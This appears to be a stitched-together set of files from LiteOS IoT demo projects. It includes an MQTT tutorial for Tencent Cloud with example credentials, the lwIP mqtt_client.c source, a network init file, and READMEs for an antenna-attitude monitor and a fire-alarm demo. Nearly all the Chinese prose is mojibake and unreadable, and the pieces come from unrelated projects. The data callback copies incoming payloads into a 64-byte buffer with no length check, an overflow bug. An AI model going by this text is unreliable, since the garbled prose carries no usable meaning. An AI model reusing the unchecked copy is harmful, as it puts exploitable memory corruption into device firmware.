- ไธ่ฟฐ็ๆฐไบงๅๆฏๅๅปบไธไธชไบงๅ็ฑปๅซ๏ผๅจ่ฏฅ็ฑปๅซไธ้่ฆๅๅปบๅ
ทไฝ็่ฎพๅค
- 
- 
- 
- 
- ๅฆไธๅพๆ็คบๅฎๆ่ฎพๅค็ๆทปๅ ๏ผๆญคๆถ้่ฎฐๅฝไธ**่ฎพๅคๅ็งฐ**๏ผ่ฏฅๅ็งฐไนๆฏ็ป็ซฏ้่ฟMQTT่ฎฟ้ฎไบ็ซฏ็้่ฆๅญ่ฏไนไธ๏ผๅๆถ่ฟ้่ฆ่ฎฐๅฝไบงๅ**่ฎพๅคๅฏ้ฅ**ใ
## 3ใ ๅๅปบๆถๆฏ้ๅ
- ๆฅไธๆฅ้่ฆไธบ่ฏฅ็ฑปไบงๅๅๅปบไธไธชๆถๆฏ้ๅ๏ผ็จๆทๆฐๆฎ็ไบคไบ๏ผๅฆๅพๆ็คบ๏ผ้ๆฉ**่ฎพๅคไธๆฅๆถๆฏ**๏ผ**่ฎพๅค็ถๆๅๅ้็ฅ**๏ผ็ถๅ็นๅปไฟๅญใ
- 
- 
- ๅฎๆๆถๆฏ้ๅ็ๅๅปบๅ๏ผๅณๅฏๅจไบไบงๅไธญ็**ๆถๆฏ้ๅCMQ**ไธญๆฅ็็ป็ซฏไธไผ ็ๆถๆฏใ
## 4ใ ็ป็ซฏ่ฎพๅค็้
็ฝฎ
- ๅจ็ป็ซฏๅนณๅฐไธๅฎๆLiteOS+LwIP+MQTT็็งปๆคใ
- ่
พ่ฎฏไบๅนณๅฐ้่ฟ[MQTT](http://mqtt.org/)ๆฅๅ
ฅ๏ผๆไปฅ่ฟ้้่ฆๅจ็กฌไปถ็ป็ซฏไธๅฎ็ฐMQTT Client๏ผๅ
ทไฝ้
็ฝฎๅๆฐๅฆไธ๏ผ
ย - **MQTTๆๅกๅจๅฐๅ**๏ผ**iotcloud-mqtt.gz.tencentdevices.com**ๆ**111.230.189.156**๏ผ็ซฏๅฃๅทไธบ**1883**ใ ย ย ย ย
- **ClientID**๏ผproductID + ่ฎพๅคๅ็งฐ๏ผไพๅฆ๏ผDXJQTLK47XSensor1
- **User Name**๏ผClientID + app ID + connect ID + timestamp๏ผไพๅฆ๏ผDXJQTLK47XSensor1;21010406;12365;1526229718
- **Password**๏ผdecode(User Name + ่ฎพๅคๅฏ้ฅ)+";hmacsha1",ไพๅฆ๏ผb21b6c729215d2baa934878812d8947e15202618;hmacsha1
- **Publish topic**๏ผproducID/่ฎพๅคๅ็งฐ/event๏ผไพๅฆ๏ผDXJQTLK47X/Sensor1/event
- **Subscribe topic**๏ผproducID/่ฎพๅคๅ็งฐ/control๏ผไพๅฆ๏ผDXJQTLK47X/Sensor1/control
- 
- **ๆณจๆไธ่ฟฐUser NameๅPasswordๅฏ้่ฟ[Pythonๅทฅๅ
ท](https://github.com/ianhom/LiteOS_Connect_to_3rd_Cloud/blob/master/liteos_to_tencentcloud/liteos_tencentcloud_basic/tool/UsrName_Psk.py)่ชๅจ็ๆ**ใ
- 
# ๅใ ๅ
ณ้ฎๆบ็ ่งฃๆ
## 1ใ็จๅบๆไปถไป็ป
- LiteOSๅ
ๆ ธๆบ็ ๏ผ่ด่ดฃOS่ฟ่ก๏ผๆไพๅ
ๆ ธๆๅกๅ็กฌไปถ้ฉฑๅจ
- LwIPๆบ็ ๏ผ่ด่ดฃๅฎ็ฐTCP/IP้ไฟก
- MQTTๆบ็ ๏ผ่ด่ดฃๅฎ็ฐMQTTๅฎขๆท็ซฏ
- Usr_Cfg.h๏ผ็จไปฅ้
็ฝฎMQTTๅฎขๆท็ซฏ็ธๅ
ณๅๆฐ
## 2ใ็จๅบไธปๅฝๆฐ่ฏดๆ
```c
int main(void)
{
UINT32 uwRet;
/*Init LiteOS kernel */
uwRet = LOS_KernelInit();
if (uwRet != LOS_OK) {
return LOS_NOK;
}
/* Enable LiteOS system tick interrupt */
LOS_EnableTick();
/* Init Key,LED,Uart,Eth,TCP/IP and start the MQTT client task */
LOS_EvbSetup();
printf("this is LiteOS lwip port \r\n");
/* Kernel start to run */
LOS_Start();
for (;;);
/* Replace the dots (...) with your own code. */
```
- ๅๅงๅLiteOSๅ
ๆ ธไนๅ๏ผๅณๅผๅงๅๅงๅ็กฌไปถkey๏ผled๏ผuartๅEth๏ผ็ถๅๅณๅฏๅจMQTTๅฎขๆท็ซฏไปปๅกใ
## 3ใๅ
ณ้ฎไปฃ็ ่ฏดๆ
```c
void example_do_connect(mqtt_client_t *client)
{
struct mqtt_connect_client_info_t ci;
err_t err;
/* Setup an empty client info structure */
memset(&ci, 0, sizeof(ci));
/* Client ID, user name, password */
ci.client_id = LOS_IOT_CLIENT_ID;
ci.client_user = LOS_IOT_USR_NAME;
ci.client_pass = LOS_IOT_PASSWORD;
ci.keep_alive = 60;
/* MQTT server IP address */
IP4_ADDR(&mqttServerIpAddr, 111,230,189,156);
err = mqtt_client_connect(client, &mqttServerIpAddr, 1883, mqtt_connection_cb, 0, &ci);
/* For now just print the result code if something goes wrong */
if(err != ERR_OK)
{
printf("mqtt_connect return %d\n", err);
}
}
static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status)
{
err_t err;
if(status == MQTT_CONNECT_ACCEPTED)
{
printf("mqtt_connection_cb: Successfully connected\n");
/* Setup callback for incoming publish requests */
mqtt_set_inpub_callback(client, mqtt_incoming_publish_cb, mqtt_incoming_data_cb, arg);
/* Subscribe to a topic named "subtopic" with QoS level 2, call mqtt_sub_request_cb with result */
err = mqtt_subscribe(client, LOS_IOT_SUB_TOPIC, 1, mqtt_sub_request_cb, arg);
if(err != ERR_OK)
{
printf("mqtt_subscribe return: %d\n", err);
}
}
else
{
printf("mqtt_connection_cb: Disconnected, reason: %d\n", status);
/* Its more nice to be connected, so try to reconnect */
example_do_connect(client);
}
}
```
- `void example_do_connect(mqtt_client_t *client)`่ฏฅๅฝๆฐ่ด่ดฃMQTTๅฎขๆท็ซฏ่ฟๆฅๆๅกๅจ๏ผๅฐๅจ่ฟ้ๅกซๅ
ฅClient IDใUser NameไปฅๅPasswordใ
- `static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status)`่ฏฅๅฝๆฐไฝไธบMQTT่ฟๆฅ็ๅ่ฐๅฝๆฐ๏ผๆฅๅๅบMQTTๆๅกๅจ่ฟๆฅๅๅบใ่ฅ่ฟๆฅๆๅ๏ผๅๅผๅง่ฎข้
`LOS_IOT_SUB_TOPIC`ไธป้ขใ
## 4ใไธไผ ๆฐๆฎไปฃ็ ่ฏฆ่งฃ
```c
void example_publish(mqtt_client_t *client, void *arg)
{
const char *pstr= LOS_IOT_PUB_DATA;
err_t err;
u8_t qos = 1; /* 0 1 or 2, see MQTT specification */
u8_t retain = 0; /* No don't retain such crappy payload... */
err = mqtt_publish(client, LOS_IOT_PUB_TOPIC, pstr, strlen(pstr), qos, retain, mqtt_pub_request_cb, arg);
if(err != ERR_OK)
{
printf("Publish err: %d.\r\n", err);
}
else
{
printf("Publish Success.\r\n");
}
}
/* Called when publish is complete either with sucess or failure */
void mqtt_pub_request_cb(void *arg, err_t result)
{
if(result != ERR_OK)
{
printf("Publish result: %d\n", result);
}
}
```
- `void example_publish(mqtt_client_t *client, void *arg)`ๅฝๆฐ่ด่ดฃๆฐๆฎpublishๅฐ`LOS_IOT_PUB_TOPIC`ไธป้ขไธญใ
- `void mqtt_pub_request_cb(void *arg, err_t result)`ๅฝๆฐไฝไธบpublish็ปๆ็ๅ่ฐๅฝๆฐ๏ผๅฏนpublish็็ปๆ่ฟ่กๅๅบใ
## 5ใ ไธๅๅฝไปคไปฃ็ ่ฏฆ่งฃ
```c
static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len)
{
printf("Incoming publish at topic \" %s \" with total length %u\r\n", topic, (unsigned int)tot_len);
}
```
-`mqtt_subscribe(client, LOS_IOT_SUB_TOPIC, 1, mqtt_sub_request_cb, arg);`่ฏฅๅฝๆฐๅๆๅกๅจ่ฎข้
ไบ`LOS_IOT_SUB_TOPIC`ไธป้ขใ
-`static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len)`่ฏฅๅ่ฐๅฝๆฐๅจๆถๅฐไธ่กๆฅๆๅ็ญๅบๆฅๆไฟกๆฏใ
# ไบใ ไบงๅ่ฐ่ฏ
- ่ฟ่ก็ป็ซฏ่ฎพๅค๏ผ่ฟๆฅไบ็ซฏๆๅกๅจ๏ผๅ้ๆฐๆฎใ
- 
- ๅฏไปฅๅจ่ฎพๅค้กต้ขๆฃๆต่ฎพๅคๆฏๅฆไธ็บฟใ
- 
- ๅฏไปฅ้่ฟๆถๆฏ้ๅๆฅๆฅ็็ป็ซฏไธไผ ็ๆฐๆฎใ
- 
- ไธๅพไธบ่ฎพๅคไธ็บฟๅ็็ถๆๆฅๅใ
- 
- ไธๅพไธบ็ป็ซฏๅ้็ๆฐๆฎ๏ผpayload้จๅไธบbase64ๅ ๅฏๅ็ๆ ผๅผใ
- 
- ้่ฟbase64่งฃๅฏๅณๅฏๅพๅฐๆฐๆฎๅๆใ
```
mqtt_client.c
```/*
* MQTT client for lwIP
* Author: Erik Andersson
* Details of the MQTT protocol can be found at:
http://docs.oasis-open.org/mqtt/mqtt/v3.1.1/os/mqtt-v3.1.1-os.html
*
*/
#include "mqtt.h"
#include "string.h"
#include "usr_cfg.h"
#include "los_sys.h"
#include "los_tick.h"
#include "los_task.ph"
#include "los_config.h"
ip_addr_t mqttServerIpAddr;
static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status);
static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len);
static void mqtt_incoming_data_cb(void *arg, const u8_t *data, u16_t len, u8_t flags);
void mqtt_pub_request_cb(void *arg, err_t result);
void mqtt_sub_request_cb(void *arg, err_t result);
void example_do_connect(mqtt_client_t *client)
{
struct mqtt_connect_client_info_t ci;
err_t err;
/* Setup an empty client info structure */
memset(&ci, 0, sizeof(ci));
/* Client ID, user name, password */
ci.client_id = LOS_IOT_CLIENT_ID;
ci.client_user = LOS_IOT_USR_NAME;
ci.client_pass = LOS_IOT_PASSWORD;
ci.keep_alive = 60;
/* MQTT server IP address */
IP4_ADDR(&mqttServerIpAddr, 111,230,189,156);
/* Initiate client and connect to server, if this fails immediately an error code is returned
otherwise mqtt_connection_cb will be called with connection result after attempting
to establish a connection with the server.
For now MQTT version 3.1.1 is always used */
err = mqtt_client_connect(client, &mqttServerIpAddr, 1883, mqtt_connection_cb, 0, &ci);
/* For now just print the result code if something goes wrong */
if(err != ERR_OK)
{
printf("mqtt_connect return %d\n", err);
}
}
//Connection to server can also be probed by calling mqtt_client_is_connected(client)
static void mqtt_connection_cb(mqtt_client_t *client, void *arg, mqtt_connection_status_t status)
{
err_t err;
if(status == MQTT_CONNECT_ACCEPTED)
{
printf("mqtt_connection_cb: Successfully connected\n");
/* Setup callback for incoming publish requests */
mqtt_set_inpub_callback(client, mqtt_incoming_publish_cb, mqtt_incoming_data_cb, arg);
/* Subscribe to a topic named "subtopic" with QoS level 2, call mqtt_sub_request_cb with result */
err = mqtt_subscribe(client, LOS_IOT_SUB_TOPIC, 1, mqtt_sub_request_cb, arg);
if(err != ERR_OK)
{
printf("mqtt_subscribe return: %d\n", err);
}
}
else
{
printf("mqtt_connection_cb: Disconnected, reason: %d\n", status);
/* Its more nice to be connected, so try to reconnect */
example_do_connect(client);
}
}
void mqtt_sub_request_cb(void *arg, err_t result)
{
/* Just print the result code here for simplicity,
normal behaviour would be to take some action if subscribe fails like
notifying user, retry subscribe or disconnect from server */
printf("Subscribe result: %d\n", result);
}
//-----------------------------------------------------------------
//3. Implementing callbacks for incoming publish and data
/* The idea is to demultiplex topic and create some reference to be used in data callbacks
Example here uses a global variable, better would be to use a member in arg
If RAM and CPU budget allows it, the easiest implementation might be to just take a copy of
the topic string and use it in mqtt_incoming_data_cb
*/
static int inpub_id;
static void mqtt_incoming_publish_cb(void *arg, const char *topic, u32_t tot_len)
{
printf("Incoming publish at topic \" %s \" with total length %u\r\n", topic, (unsigned int)tot_len);
/* Decode topic string into a user defined reference */
if(strcmp(topic, LOS_IOT_SUB_TOPIC) == 0)
{
inpub_id = 0;
}
else if(topic[0] == 'A')
{
/* All topics starting with 'A' might be handled at the same way */
inpub_id = 1;
}
else
{
/* For all other topics */
inpub_id = 2;
}
}
static void mqtt_incoming_data_cb(void *arg, const u8_t *data, u16_t len, u8_t flags)
{
uint8_t tempBuff[64]={0};
uint8_t i;
for(i=0;i<len;i++)
{
tempBuff[i]=data[i];
}
tempBuff[i]=0;
printf("Incoming publish payload with length %d, flags %u\n", len, (unsigned int)flags);
if(flags & MQTT_DATA_FLAG_LAST)
{
/* Last fragment of payload received (or whole part if payload fits receive buffer
See MQTT_VAR_HEADER_BUFFER_LEN) */
/* Call function or do action depending on reference, in this case inpub_id */
if(inpub_id == 0)
{
/* Don't trust the publisher, check zero termination */
if(tempBuff[len] == 0)
{
printf("mqtt_incoming_data_cb: %s\n", (const char *)data);
}
}
else if(inpub_id == 1)
{
/* Call an 'A' function... */
}
else
{
printf("mqtt_incoming_data_cb: Ignoring payload...\n");
}
}
else
{
/* Handle fragmented payload, store in buffer, write to file or whatever */
}
}
//-----------------------------------------------------------------
//4. Using outgoing publish
void example_publish(mqtt_client_t *client, void *arg)
{
const char *pstr= LOS_IOT_PUB_DATA;
err_t err;
u8_t qos = 1; /* 0 1 or 2, see MQTT specification */
u8_t retain = 0; /* No don't retain such crappy payload... */
err = mqtt_publish(client, LOS_IOT_PUB_TOPIC, pstr, strlen(pstr), qos, retain, mqtt_pub_request_cb, arg);
if(err != ERR_OK)
{
printf("Publish err: %d.\r\n", err);
}
else
{
printf("Publish Success.\r\n");
}
}
/* Called when publish is complete either with sucess or failure */
void mqtt_pub_request_cb(void *arg, err_t result)
{
if(result != ERR_OK)
{
printf("Publish result: %d\n", result);
}
}
static mqtt_client_t static_client;
static UINT32 g_uwmqttClientTaskID;
LITE_OS_SEC_TEXT VOID mqtt_client_create(VOID)
{
static_client.conn_state=0;
/* Initialize MQTT client */
example_do_connect(&static_client);
while(1)
{
example_publish(&static_client,(void *)mqtt_pub_request_cb);
LOS_TaskDelay(10000);
}
}
void mqtt_client_init(void)
{
UINT32 uwRet;
TSK_INIT_PARAM_S stTaskInitParam;
(VOID)memset((void *)(&stTaskInitParam), 0, sizeof(TSK_INIT_PARAM_S));
stTaskInitParam.pfnTaskEntry = (TSK_ENTRY_FUNC)mqtt_client_create;
stTaskInitParam.uwStackSize = 512;
stTaskInitParam.pcName = "mqttClient";
stTaskInitParam.usTaskPrio = 10;
uwRet = LOS_TaskCreate(&g_uwmqttClientTaskID, &stTaskInitParam);
if (uwRet != LOS_OK)
{
return;
}
return;
}
//-----------------------------------------------------------------
//5. Disconnecting
//Simply call mqtt_disconnect(client)
```
README.md
```# ใๅฏปๆพIoT่พพไบบใLiteOSๅฏนๆฅไบๅนณๅฐไฝๅๅฑ็คบ๏ผๅซๆๅคฉ็บฟๅงฟๆ็ๆตๅบ็จ
ไธใ่ๆฏๅไป็ป
==============
1ใๅ
ฌๅธ/ๅข้ไป็ป
----------------
ไธไฝๅผๅ็ฑๅฅฝ่
๏ผ็ฎๅไธๆณจไบๅทฅไธ็ฉ่็ฝ็ธๅ
ณๆๆฏใ
2ใ้กน็ฎไป็ป
-----------
**้กน็ฎ็ฎไป๏ผ**
็งๆๆฅๆฐๆๅผ็ๅๅฑ๏ผไฟกๆฏๅๆฐๅญๅ็ไธๆญๆจๅนฟๅๅบ็จ๏ผไฝฟๆไปฌ็็ๆดปๆนๅผๅ็ไบๅทจๅคงๅๅ๏ผไน็ปไผ ็ปๆๆฏๅธฆๆฅไบๆฐ็ๅ้ฉInternetไฟกๅท็ไผ ่พๅฝ้
้ไฟก็ต่งไฟกๅท็ไผ ่พ็ญๅฉ็จๅๆญฅๅซๆ่ฟ่ก้ไฟกๆฏ้่ฆ็ๆๆฏๆๆฎตๅๆญฅๅซๆๅจ่ฝจ่ฟ่กๅนดไน
ไนๅ๏ผ็ธๆฏไธๅผๅง็ๅงฟๆไผๅ็ๅๅ๏ผไธฅ้ๆถไผๅ็งป่ฟ่ก่ฝจ้๏ผๅฐ้ข็ๅซๆๅคฉ็บฟไป็ถๆๅๆๅ็้ขๅฎไฝ็ฝฎ๏ผๅฏผ่ดๅซๆ้ไฟก็ไธญๆญๅฆไธๆน้ข๏ผๅฐ้ขๅคงๅฃๅพๅซๆๅคฉ็บฟๅๅฐๅธธๅนด้ฃๅๅ้ๅ็ๅฝฑๅ๏ผไนไผๅ็ฆป้ขๅฎๆๅ๏ผ้ ๆๅคฉ็บฟ็ๆนๅ็ณปๆฐไธๆ็็ไน็งฏๆๆพไธ้๏ผไฟกๆฏไบคๆตไผ ้ไบง็ไธญๆญๅฆไธๆน้ข๏ผๅซๆๅคฉ็บฟๆงๅถๅฎค๏ผๅพๅพๅธ่ฎพๅจ้ซๅฑฑๆ่
้ซๆฅผ้กถๅฑ๏ผ็ฏๅขๆถๅฃ๏ผ็ตๅญ่พๅฐ่พๅคง๏ผๅฝฑๅๅผๆบไบบๅ็่บซไฝๅฅๅบท้ๅฏน่ฏฅ้ฎ้ข๏ผ่ฎพ่ฎกไบไธ็งๅ
ทๆไฝๅ่ๆฏๆ่ฟ็จๆฐๆฎไผ ่พๅฎๆถๅ้ฆๅซๆๅคฉ็บฟๅงฟๆๅๅ๏ผๅนถ่ฝ่ฟ่ก่ฟ็จ็ๆตๅๅซๆ้ไฟกๅคฉ็บฟ่งๅบฆๆนไฝๆงๅถ็ๅบ็จ็ณป็ปใๅจๆฅๆถๆฐๅญไฟกๅทๆถ๏ผ่ฏฅ็ณป็ป่ฝๅคๆปก่ถณๅจ่พ็ญ็ๆถ้ดๅ
ไฝฟๅคฉ็บฟๅ็กฎๅฏนๆ๏ผไฟ่ฏไฟกๅทๆฅๆถ็ๅฟซ้ๅฏ้ ใ
ไบใ้กน็ฎๅ
ๅฎน
============
1ใๆนๆก่ฏดๆ
-----------
ๆฌ้กน็ฎไฝฟ็จSTM32F429IGT6ๅผๅๆฟ๏ผ้่ฟMPU6050ๆต้ๅงฟๆๆฐๆฎ๏ผไฝฟ็จMQTTๅ่ฎฎๆๅงฟๆๆฐๆฎไธไผ ๅฐ็พๅบฆไบใ

็พๅบฆIOT HUB่ฎพ็ฝฎ


็ฝ็ปๆฐๆฎๆๅ
ๆต่ฏ

็จMQTT.fxๆต่ฏMQTTๅ่ฎฎ๏ผ่ฎข้
ๅงฟๆๆฐๆฎ


```
los_bsp_lwip.c
```#include "lwip/mem.h"
#include "lwip/memp.h"
#include "lwip/tcp.h"
#include "lwip/udp.h"
#include "netif/etharp.h"
#include "lwip/dhcp.h"
#include "lwip/tcpip.h"
#include "ethernetif.h"
#include "stdint.h"
#include <stdio.h>
#include "lwip/timeouts.h"
#include "lwip/priv/tcp_priv.h"
#include "ethernetif.h"
#include "LAN8742A.h"
#include "los_bsp_lwip.h"
#include "httpserver-netconn.h"
#include "mqtt_client.h"
#include "usr_cfg.h"
struct netif gnetif;
int errno = 0;
void LOS_EvbLwipInit(void)
{
ip_addr_t ipaddr;
ip_addr_t netmask;
ip_addr_t gw;
ETH_BSP_Config();
/* init the tcpip */
tcpip_init( NULL, NULL );
/* initializes the dynamic memory heap defined by MEM_SIZE */
mem_init();
/* initializes the memory pools defined by MEMP_NUM_x */
memp_init();
#ifdef TIMEOUT_CHECK_USE_LWIP
sys_timeouts_init();
#endif /* TIMEOUT_CHECK_USE_LWIP */
#ifdef USE_DHCP
ipaddr.addr = 0;
netmask.addr = 0;
gw.addr = 0;
#else
IP4_ADDR(&ipaddr, LOS_IOT_LOCAL_IP1,LOS_IOT_LOCAL_IP2,LOS_IOT_LOCAL_IP3,LOS_IOT_LOCAL_IP4);
IP4_ADDR(&netmask, 255, 255 , 255, 0);
IP4_ADDR(&gw, LOS_IOT_GW1,LOS_IOT_GW2,LOS_IOT_GW3,LOS_IOT_GW4);
#endif /* USE_DHCP */
/* - netif_add(struct netif *netif, struct ip_addr *ipaddr,
struct ip_addr *netmask, struct ip_addr *gw,
void *state, err_t (* init)(struct netif *netif),
err_t (* input)(struct pbuf *p, struct netif *netif))
Adds your network interface to the netif_list. Allocate a struct
netif and pass a pointer to this structure as the first argument.
Give pointers to cleared ip_addr structures when using DHCP,
or fill them with sane numbers otherwise. The state pointer may be NULL.
The init function pointer must point to a initialization function for
your ethernet netif interface. The following code illustrates it's use.*/
netif_add(&gnetif, &ipaddr, &netmask, &gw, NULL, ðernetif_init, tcpip_input);
/* registers the default network interface */
netif_set_default(&gnetif);
/* when the netif is fully configured this function must be called */
netif_set_up(&gnetif);
mqtt_client_init();
}
```
readme.md
```ไธใ่ๆฏๅไป็ป
==============
1ใๅ
ฌๅธ/ๅข้ไป็ป
----------------
ๆญฆๆฑๆๅฎ็งๆ่กไปฝๆ้ๅ
ฌๅธ็ฑๅฏๆๅๆฐ็ฒพ็ฅ็็็พๅๅฃซๅไผไธๅฎถๅ็ซ๏ผๅข้ๆๆๅ็ๅไธ็ป้ชๅไธฐๅฏ็้ซ็งๆๅ
ฌๅธ็ฎก็็ป้ช๏ผๅนถๅจๆ ็บฟ้ไฟกใๅพฎๆณขๅฐ้ขใ่ฏ็่ฎพ่ฎกๅ่ฝฏไปถๅผๅๆน้ขๆไธๅ
้ขๅ
็ไบงๅๅๆๆฏ็ ๅ่ฝๅ๏ผ็ ๅๅข้ๅๆฐไปฅไธๅ
ทๆ็กๅฃซๅญฆไฝ๏ผๅ
ๆฌๅๅฃซๅ้ซ็บง่็งฐๅคไบบ๏ผๅ
ฌๅธๆฅๆๅ
ๆฌๅค้กนๅๆไธๅฉๅจๅ
็ๆฐๅ้กน็ฅ่ฏไบงๆใ
________________
ๅ
ฌๅธ่ดๅไบ้ขๅ
็็ฉ่็ฝไบงๅๅ็ณป็ป่งฃๅณๆนๆก
่งฃๅณๆนๆก๏ผ
> * [ๆ ็บฟๆบๆ
งๆถ้ฒ่งฃๅณๆนๆก](http://www.turboes.com/h-col-137.html)
> * [ๆ ็บฟๆบๆ
งๅ่ฝฆ่งฃๅณๆนๆก](http://www.turboes.com/h-col-136.html)
ไธป่ฅไบงๅ๏ผ
> * [NB-IoT ็ฉ่็ฝ็ป็ซฏ](http://www.turboes.com/h-col-102.html)
> * [LoRa ็ฉ่็ฝ็ป็ซฏ](http://www.turboes.com/h-col-121.html)
> * [LoRa ๆ ็บฟ็ฝๅ
ณๅๆจก็ป](http://www.turboes.com/h-col-115.html)
> * [ๅพฎๆณข้ท่พพไผ ๆๅจ](http://www.turboes.com/h-col-125.html)
________________
ๅ
ทไฝ่ฏฆๆ
่ฏท่ฎฟ้ฎๅ
ฌๅธๅฎๆน็ฝ็ซ๏ผ[ๆญฆๆฑๆๅฎ็งๆ่กไปฝๆ้ๅ
ฌๅธ](http://www.turboes.com/)
ๅพฎไฟกๅ
ฌไผๅท๏ผๆๅฎ็งๆ
2ใ้กน็ฎไป็ป
-----------
**้กน็ฎ็ฎไป๏ผ**
> ๆๅฎ็งๆๅบไบๆบๆ
งๆถ้ฒ็ณป็ป่งฃๅณๆนๆกๅผๅไบ็ป็ซฏๆฅ่ญฆๆขๆตๅจใๆ ็บฟ็ฝๅ
ณใไบๅนณๅฐใๅบ็จๆๅกๅจๅ ๆฌพไบงๅๅนถๅทฒ็ปๆๅๅบ็จไบๅคไธชๅบๆฏใๆฌๆฌก็ๆบๆ
งๆถ้ฒ็คบ่ๅบ็จ้กน็ฎไฝฟ็จไบๅไธบๅฎๆนๆไพ็F429ไธปๆฟๆฅๆจกๆๆไปฌ็็ป็ซฏๆฅ่ญฆๆขๆตๅจ๏ผๆขๆตๅจๅ
ทๆ่ฟๆฅไบๅนณๅฐ๏ผๅไบๅนณๅฐๅ้ๆฅ่ญฆๆฐๆฎๅๆฅๆถๆฅ่ชไบๅนณๅฐไธๅ็ๅฝไปคๅๅๆฐ็ๅ่ฝ๏ผๆฌๆฌก้กน็ฎ่ฟๆฅ็ๆฏ็ฌฌไธๆน็พๅบฆไบๅนณๅฐ(็ฉๆฅๅ
ฅIoTHub)๏ผ้็จไบMQTTๅฎขๆท็ซฏๆฅๆจกๆๅบ็จๆๅกๅจๆฅๆถ็ฌฌไธๆนไบๅนณๅฐ็ๆฐๆฎ๏ผๅนถไธๅๆงๅถๅฝไปคๅๅๆฐ็ป็พๅบฆไบ๏ผๆฌๆฌก้กน็ฎไป
ไฝไธบๆไปฌๆบๆ
งๆถ้ฒ็ณป็ป่งฃๅณๆนๆก็ๅๆญฅๆผ็คบไฝ็จใ
> ๅจๆบๆ
งๆถ้ฒ้ขๅไธญ๏ผ็ฎๅๅธ้ขไฝฟ็จ็ๅคงๅคๆฐไบงๅ็้พๆขๆตๆฅ่ญฆๅจใๆๅจๆฅ่ญฆๆ้ฎใๅฏ็ๆฐไฝๆขๆตๅจ็ญ้ฝไธๅ
ทๅค่็ฝๅ่ฝ๏ผๅฝๅฑ
ๆๅคๅ็็ซ็พๆ็ดงๆฅ้ฉๆ
ๆถๅช่ฝๆฌๅฐๆฅ่ญฆ๏ผๆฏๅฆๅจๆทฑๅคๅ
ฅ็กๅ๏ผ๏ผๆๆดไบบๅๆ ๆณๅฟซ้ๅ็ฐ้ฉๆ
๏ผ็ญๅฐๅ็ฐๆถๅทฒๆ ๆณๅๆถๆๆด๏ผๆ็ปๆพๆๆฒๅงใ่ฟๅนดๆฅ้็็ฉ่็ฝ็็ซ็ญๅธ้ขไธๅบ็ฐไบไธไบๅ
ทๅค่็ฝๅ่ฝ็ๆบ่ฝๆฅ่ญฆๅจ๏ผๅฝๅ็้ฉๆ
ๆถๅฏ้่ฟๆ ็บฟๆๆ็บฟ้ไฟก็ๆนๅผๅฐๆฅ่ญฆไฟกๆฏๅๆถๅ็ฅๆๆดไบบๅ๏ผไป่ๅๅฐๆฒๅง็ๅ็๏ผไธ่ฟ่ฏฅ็ฑปๅ็ไบงๅๆ ็บฟ้ไฟก่ท็ฆป็ญใๅ่่พ้ซใๅธ็บฟๆๆฌๅคช้ซใๆดๆข้บป็ฆ๏ผๆไปฌๆฌๆฌกไบงๅ่ฎพ่ฎกๆ ็บฟๆบๆ
งๆถ้ฒไบงๅ้็จNB-IOT๏ผLoRa็ญๆ ็บฟ้ไฟกๆๆฏๅ
ทๆไผ ่พ่ท็ฆป้ฟใๅคง้ข็งฏ็ป็ฝใไผ็ ๅ่ไฝ๏ผuA็บง๏ผใๅฎ่ฃ
ๅๆๅธๆนไพฟ็็น็น๏ผ้็จไบๆบ่ฝๅฎถๅฑ
ใๅคงๅ็คพๅบใๅๅ
ฌๅบใๅ
ฌๅ
ฑๅบๆๆ็ญๅคงๅๅปบ็ญ็ฉ๏ผๆชๆฅๅๅฑๅๆฏๅนฟ้ใ
ไบใ้กน็ฎๅ
ๅฎน
============
1ใๆนๆก่ฏดๆ
-----------
๏ผ1๏ผๅ่ฝ่ฏดๆ
> * ๆฌๆฌก้กน็ฎ้็จ็ๆฏF429ๅผๅๆฟๆจกๆๆไปฌ็็ป็ซฏๆฅ่ญฆๆขๆตๅจ๏ผๅฎ็ฐไบ็ป็ซฏ่ฟๆฅ็พๅบฆไบ็็ฉๆฅๅ
ฅIoT Hubๅนณๅฐ๏ผๆจกๆ็ป็ซฏๅๅนณๅฐๅ้ๆฅ่ญฆๆฐๆฎ๏ผๅ้่ฟๆฅไฟๆ็ๅฟ่ทณๆฐๆฎ๏ผๆฅๆถไปไบๅนณๅฐไธๅ็ๆงๅถๆฅ่ญฆๅๆญข็ๅฝไปค
> * ้่ฟๆไธๆ้ฎK1ๆฅๅผๅฏ/ๆญๅผ็ป็ซฏไธไบๅนณๅฐ็่ฟๆฅ๏ผ้่ฟๆไธๆ้ฎK2ๆฅๅผๅง/ๅๆญขๅ้ๆฅ่ญฆไฟกๆฏๅฐๅนณๅฐ๏ผๅฝ่ฎพๅคๅคไบๆฅ่ญฆ็ถๆๆถ๏ผๅฏ้่ฟMQTTๅฎขๆท็ซฏๆจกๆๅบ็จๆๅกๅจ็ปไบๅนณๅฐไธๅๅๆญขๅ้ๆฅ่ญฆ็ๅฝไปค
> * ็ป็ซฏๅคไบไฟๆ่ฟๆฅ็ถๆๆถK1ไธๆน็ปฟ็ฏไบฎ่ตท๏ผๅคไบๆญๅผ่ฟๆฅ็ถๆๆถK1ไธๆน็็บข็ฏไบฎ่ตท๏ผ็ป็ซฏๅคไบๅ้ๆฅ่ญฆไฟกๆฏ็็ถๆ๏ผ็ป็ซฏๆฏๆฌกๅ้ๆฅ่ญฆๆฐๆฎๆถF429ๆ ธๅฟๆฟไธ้ข็ๅฐled๏ผ่่ฒ๏ผ้ช็ไธๆฌก๏ผๆฏ้8็งๅทฆๅณๅ้ไธๆฌกๆฅ่ญฆๆฐๆฎ๏ผๅฏ้่ฟๆ้ฎK2ๆไบๅนณๅฐไธๅๆงๅถๅฝไปคๅๆถๆฅ่ญฆ
> * ็ป็ซฏไธไบๆๅกๅจ้ไฟก่ฟ็จๅฏ้่ฟๆฟ่ฝฝ็ไธฒๅฃ1่พๅบๆๅฐไฟกๆฏ่ฟ่กๆฅ็
๏ผ2๏ผๆฅๅ
ฅ่ฏดๆ
> * ็ฌฌไธๆนไบๅนณๅฐ๏ผ็พๅบฆไบ โโ ็ฉๆฅๅ
ฅIoT Hub
> * ๆฅๅ
ฅๅ่ฎฎ๏ผTCP+MQTT
> * ๆฅๅ
ฅๆนๅผ๏ผEthernet(Lwip)
